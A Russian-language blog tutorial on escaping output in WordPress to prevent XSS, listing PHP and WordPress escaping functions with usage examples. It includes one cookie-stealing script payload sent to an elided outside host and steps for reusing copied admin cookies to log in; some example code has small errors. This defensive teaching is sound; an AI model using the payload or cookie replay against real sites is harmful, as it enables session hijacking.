Безопасный вывод на wordpress:
Безопасный вывод на WordPress заключается в предотвращении различных ошибок. Например, неправильно закрытый тег в строке может нарушить структуру HTML документа, а вредоносный JavaScript код, добавленный злоумышленником в строку между тегами <script>, может быть выполнен при посещении сайта авторизованным пользователем и привести к взлому сайта.
Для предотвращения подобных ошибок и атак XSS используется метод escaping, который заключается в удалении нежелательных символов, HTML тегов или их преобразовании в безопасные для вывода HTML сущности.
Что такое Cross-site scripting (XSS)
Cross-site scripting (XSS) — это тип уязвимости, который может быть обнаружен в некоторых веб-приложениях. Атаки XSS позволяют злоумышленникам внедрять скрипты на стороне клиента на веб-страницы, просматриваемые другими пользователями. Уязвимость, связанная с XSS, может быть использована злоумышленниками для обхода контроля доступа, такого как политика одного источника. Атаки XSS составляли примерно 84% всех уязвимостей безопасности, зафиксированных Symantec до 2007 года. Воздействие XSS может варьироваться от незначительных проблем до серьезных угроз безопасности, в зависимости от степени чувствительности обрабатываемых уязвимым сайтом данных и от мер безопасности, принимаемых владельцем сети сайта.
Пример небезопасной обработки данных
Рассмотрим простой код, который добавляет запись в базу данных:
$post_title = $_POST['post_title'];
$post_content = $_POST['post_content'];
global $wpdb;
$wpdb->insert(
$wpdb->posts,
[
'ID' => null,
'post_type' => 'entry',
'post_title' => $post_title,
'post_content' => $post_content,
]
);
Как вы видите, мы отправляем в базу заголовок ($post_title
) и контент записи ($post_content
) и хорошо если данные будут простым текстом, тогда проблем не возникнет. Но если вместо простого текста, в поле вводы введут что то вроде:
<script>fetch( '.../cakemonster=' + escape(document.cookie) )</script>
Что произойдет, когда администратор посетит запись в панели администратора? Все ваши cookie будут переданы на сервер, когда администратор посетит страницу записи.
Почему это должно беспокоить? Что можно сделать с этими cookie? Ничего особенного, просто войти как тот же пользователь в административную область без логина и пароля.
Вы можете попробовать и убедиться в этом, следуя нескольким простым шагам:
- Посетите панель администратора как пользователь.
- Откройте панель разработчика.
- Перейдите на вкладку «Application».
- Перейдите в раздел «Cookies».
- Скопируйте 3 куки со скриншота в новое окно в режиме инкогнито.
- Перезагрузите страницу в режиме инкогнито и вы будете автоматически авторизованы.
Escaping функции. Безопасный вывод на wordpress
Очень сложно защитить свой сайт от всех видов инъекций, наиболее опасными из которых являются XSS-инъекции, их огромное количество. Каждый раз киберпреступники разрабатывают все новые и новые способы внедрения вредоносного кода на ваш сайт. К счастью, здесь начинает работать второй этап защиты, который необходимо использовать с первого дня работы с WordPress. Одно золотое правило, которое вы должны запомнить как разработчик: всегда экранируйте свой код вывода.
Функции экранирования в PHP
(int) $var,
(float) $var,
intval( mixed $value, int $base = 10 ): int,
floatval( mixed $value ): float,
number_format(float $num, int $decimals = 0, ?string $decimal_separator = '.', ?string $thousands_separator = ','): string,
highlight_string(string $string, bool $return = false): string|bool,
json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false,
rawurlencode(string $string): string,
urlencode( string $value ): string,
urlencode_deep( mixed $value ): mixed,
Функции экранирования в WordPress
absint( mixed $maybeint ): int,
esc_attr__( string $text, string $domain = 'default' ): string,
esc_attr_e( string $text, string $domain = 'default' ): string,
esc_attr_x( string $text, string $context, string $domain = 'default' ): string,
esc_attr( string $text ): string,
esc_html__( string $text, string $domain = 'default' ): string,
esc_html_e( string $text, string $domain = 'default' ): string,
esc_html_x( string $text, string $context, string $domain = 'default' ): string,
esc_html( string $text ): string,
esc_js( string $text ): string,
esc_sql( string|array $data ): string|array,
esc_textarea( string $text ): string,
esc_url_raw( string $url, string[] $protocols = null ): string,
esc_url( string $url, string[] $protocols = null, string $_context = 'display' ): string,
sanitize_hex_color( string $color ): string|void,
sanitize_hex_color_no_hash( string $color ): string|void,
sanitize_html_class( string $class, $fallback = '' ): string,
sanitize_key( string $key ): string,
sanitize_user_field( string $field, mixed $value, int $user_id, string $context ): mixed,
tag_escape( string $tag_name ): string,
wp_json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false,
wp_kses_allowed_html( string|array $context = '' ): array,
wp_kses_data( string $data ): string,
wp_kses_post( string $data ): string,
wp_kses( string $string, array[]|string $allowed_html, string[] $allowed_protocols = [] ): string,
Когда нужно производить экранирование
Экранировать данные нужно тогда, когда мы выводим что-то (используем функции echo, print, printf и т.д.). Пример кода с обработкой данных:
<div class="security-block">
<?php foreach ( $items as $key => $item ) { ?>
<div class="security-block-item" data-key="<?php echo esc_attr( $key ); ?>">
<?php echo esc_html( $item ); ?>
</div>
<?php } ?>
</div>
esc_html или esc_attr? В чем разница? На данный момент эти функции практически идентичны по коду, но имеют логически разную цель. Функцию esc_attr
необходимо использовать для всех атрибутов HTML, а esc_html
— внутри HTML тегов. Например:
// Неверно:
<input type="text" value="<?php echo esc_html( $value ); ?>">
<textarea><?php echo esc_attr( $value ); ?></textarea>
// Верно:
<input type="text" value="<?php echo esc_attr( $value ); ?>">
<textarea><?php echo esc_html( $value ); ?></textarea>
Следующая проблема, с которой вы можете столкнуться при позднем экранировании, — как вывести переменную с HTML кодом внутри? Здесь поможет функция wp_kses, которая также защитит вывод:
<?php
function get_security_block( $items ) {
$output = '';
$output .= '<div class="security-block">';
foreach ( $items as $key => $item ) {
$output .= sprintf(
'<div class="security-block-item" data-index="%d">%s</div>',
absint( $key ),
esc_html( $item )
);
}
$output .= '</div>';
return $output;
}
function the_security_block( $items ) {
echo wp_kses(
get_security_block( $items ),
[
'div' => [
'class' => true,
'data-index' => true,
],
]
);
}
Как безопасно распечатать переменную HTML со множеством неизвестных тегов и атрибутов внутри? Например, контент WYSIWYG может содержать слишком много различных HTML-тегов. Функция wp_kses может быть здесь длиннее кольца Сатурна. Вы можете использовать функцию wp_kses_post, которая оставляет только теги, относящиеся к типичному содержимому в вашем HTML-коде:
<?php
function the_security_block( $items ) {
echo wp_kses_post( get_security_block( $items ) );
}
Основные функции экранирования
esc_html( $text )
— Функция заменяет специальные символы на соответствующие HTML-сущности в переданном тексте и возвращает отформатированный текст. Символы, которые заменяются, включают&, <, >, ", и '
.esc_url( $text )
— Функция очищает URL для использования в тексте, удаляя опасные символы и изменяя неправильные. Возвращает очищенный URL.esc_js( $text )
— Функция подготавливает переданный текст для использования в JavaScript, экранируя кавычки и заменяя символы, такие как<, >, &, " и '
, на соответствующие специальные символы HTML. Она также поправляет окончания строк, чтобы избежать ошибок.esc_attr( $text )
— Функция преобразует знаки<, >, &, ", '
в соответствующие HTML-сущности и возвращает отформатированный текст. Она не создает двойного преобразования и предназначена для использования с атрибутами HTML.
Примеры использования основных функций
Функция esc_html() используется для очистки текста, который будет выводиться в HTML тегах и без них.
<h2><?php echo esc_html( $title ); ?></h2>
Функция esc_attr() используется для очистки любого текста, который будет выводиться в атрибутах HTML тегов.
<ol class="<?php esc_attr( $list_class ); ?>"></ol>
Функция esc_url() используется для очистки всех URL, включая те, которые находятся в атрибутах href или src.
<a href="<?php echo esc_url( $iurl ); ?>">
<img src="<?php echo esc_url( $image_url ); ?>">
</a>
Функция esc_js() используется для очистки кода Javascript, который будет выводиться внутри HTML тегов.
<a href="#" onclick="<?php echo esc_js( $custom_js ); ?>">Button</a>
Локализация и безопасный вывод на wordpress
Для перевода строк с использованием локализации, можно использовать специальные функции, такие как _e()
и __()
.
Для этих функций существуют заменители, которые позволяют сначала перевести строку, а затем сразу очистить и вывести на экран. Например:
esc_html_e( 'Hello World', 'text_domain' ); //выводит на экран
$val = esc_html__( 'Hello World', 'text_domain' ); //возвращает значение
esc_html__()
— Очищает строку от спецсимволов и делает ее безопасной для вывода на экран, а также осуществляет перевод строки на другой язык при помощи функции__()
.esc_html_e()
— Аналогичноesc_html__()
, но сразу выводит результат на экран.esc_html_x()
— Аналогичноesc_html__()
, но также принимает домен для локализации.esc_attr__()
— Очищает строку от спецсимволов и делает ее безопасной для использования в атрибутах HTML, а также осуществляет перевод строки на другой язык при помощи функции__()
.esc_attr_e()
— Аналогичноesc_attr__()
, но сразу выводит результат на экран.esc_attr_x()
— Аналогичноesc_attr__()
, но также принимает домен для локализации.
Как создать свою функцию для экранирования?
В случае если вы хотите создать персональную функцию со специфическими условиями, чтобы фильтрации не подвергались определенные html тэги, можете использовать следующий подход:
<?php
function my_plugin_esc_notice( $notice ) {
return wp_kses(
$notice,
[
'a'. => [
'class' => [],
'href' => [],
'rel' => [],
'target' => [],
],
'div' => [
'class' => [],
],
'strong' => []
]
);
}
Заключение. Безопасный вывод на wordpress
Вывод данных на веб-странице является критически важным аспектом безопасности веб-приложений. WordPress предоставляет различные функции очистки вывода для защиты от атак XSS и других векторов атак. Использование правильных функций очистки вывода на всех этапах разработки является хорошей практикой безопасности WordPress и поможет избежать многих потенциальных уязвимостей. Надеемся, что эта статья помогла вам лучше понять, как безопасно выводить данные на страницах WordPress и как использовать соответствующие функции очистки вывода. Подписывайтесь на мой телеграм чтобы получать уведомления о новых статьях по WordPress.